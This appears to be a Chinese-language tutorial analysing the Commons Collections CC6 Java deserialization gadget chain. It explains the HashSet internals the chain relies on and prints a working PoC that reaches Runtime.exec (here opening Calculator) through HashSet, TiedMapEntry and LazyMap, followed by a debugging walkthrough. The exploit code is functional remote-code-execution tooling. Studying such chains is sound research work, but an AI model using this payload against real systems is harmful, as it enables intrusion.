前言

CC6因为没有JDK限制，所以在一些工具中构造命令执行时 经常也会用到CC6。通过看poc代码，与CC5对比的话是反序列化入口点做了个变化，CC5是通过BadAttributeValueExpException.readObject()而CC6是通过HashSet.readObejct()

前置知识

那么主要看下HashSet类，在链的构造上主要会接触到HashSet中的有参构造HashSet(int)、重写的readObject方法和add方法

HashSet(int initialCapacity)该HashMap的容量

/**
     * Constructs a new, empty set; the backing <tt>HashMap</tt> instance has
     * the specified initial capacity and default load factor (0.75).
     *
     * @param      initialCapacity   the initial capacity of the hash table
     * @throws     IllegalArgumentException if the initial capacity is less
     *             than zero
     */
    public HashSet(int initialCapacity) {
        map = new HashMap<>(initialCapacity);
    }

add()

调用该HashMap的put方法

public boolean add(E e) {
    return map.put(e, PRESENT)==null;
}

readObject()

主要是最后会调用map.put()

private void readObject(java.io.ObjectInputStream s)
  throws java.io.IOException, ClassNotFoundException {
  // Read in any hidden serialization magic
  s.defaultReadObject();

  // Read capacity and verify non-negative.
  int capacity = s.readInt();
  if (capacity < 0) {
    throw new InvalidObjectException("Illegal capacity: " +
                                     capacity);
  }

  // Read load factor and verify positive and non NaN.
  float loadFactor = s.readFloat();
  if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
    throw new InvalidObjectException("Illegal load factor: " +
                                     loadFactor);
  }

  // Read size and verify non-negative.
  int size = s.readInt();
  if (size < 0) {
    throw new InvalidObjectException("Illegal size: " +
                                     size);
  }
  // Set the capacity according to the size and load factor ensuring that
  // the HashMap is at least 25% full but clamping to maximum capacity.
  capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                            HashMap.MAXIMUM_CAPACITY);

  // Constructing the backing map will lazily create an array when the first element is
  // added, so check it before construction. Call HashMap.tableSizeFor to compute the
  // actual allocation size. Check Map.Entry[].class since it's the nearest public type to
  // what is actually created.

  SharedSecrets.getJavaOISAccess()
    .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));

  // Create backing HashMap
  map = (((HashSet<?>)this) instanceof LinkedHashSet ?
         new LinkedHashMap<E,Object>(capacity, loadFactor) :
         new HashMap<E,Object>(capacity, loadFactor));

  // Read in all elements in the proper order.
  for (int i=0; i<size; i++) {
    @SuppressWarnings("unchecked")
    E e = (E) s.readObject();
    map.put(e, PRESENT);
  }
}

PoC分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

            Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
            };

            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,Testtransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

            HashSet hashSet=new HashSet(1);
            hashSet.add(tiedMapEntry);
            lazyMap.remove("test1");

            //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
            Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(Testtransformer, transformers);

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            objectOutputStream.writeObject(hashSet);
            objectOutputStream.close();

            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
            objectInputStream.readObject();

    }
}

主要变化其实就是在HashSet部分，首先new了一个长度为1的HashSet对象，之后将我们构造的TiedMapEntry对象add进HashSet中，通过HashSet包裹TiedMapEntry进行序列化，之后在反序列化过程中进入HashSet重写的readObject方法中

调试分析

在HashSet#readObject下断点，debug

调用了HashMap的put方法，而传入的参数e为poc中构造的TiedMapEntry对象

调用了HashMap的hash方法，继续跟进

调用传入参数key的hashcode方法，而这里的key可以通过Variables或层层回溯的poc中，其实就是构造的TiedMapEntry对象

后续hashcode调用getValue触发LazyMap.get()方法执行从而进入ChainedTransformer#transform方法中的循环从而执行命令。

其实从HashMap#hash()方法出来后面就是CC5部分了,调用栈如下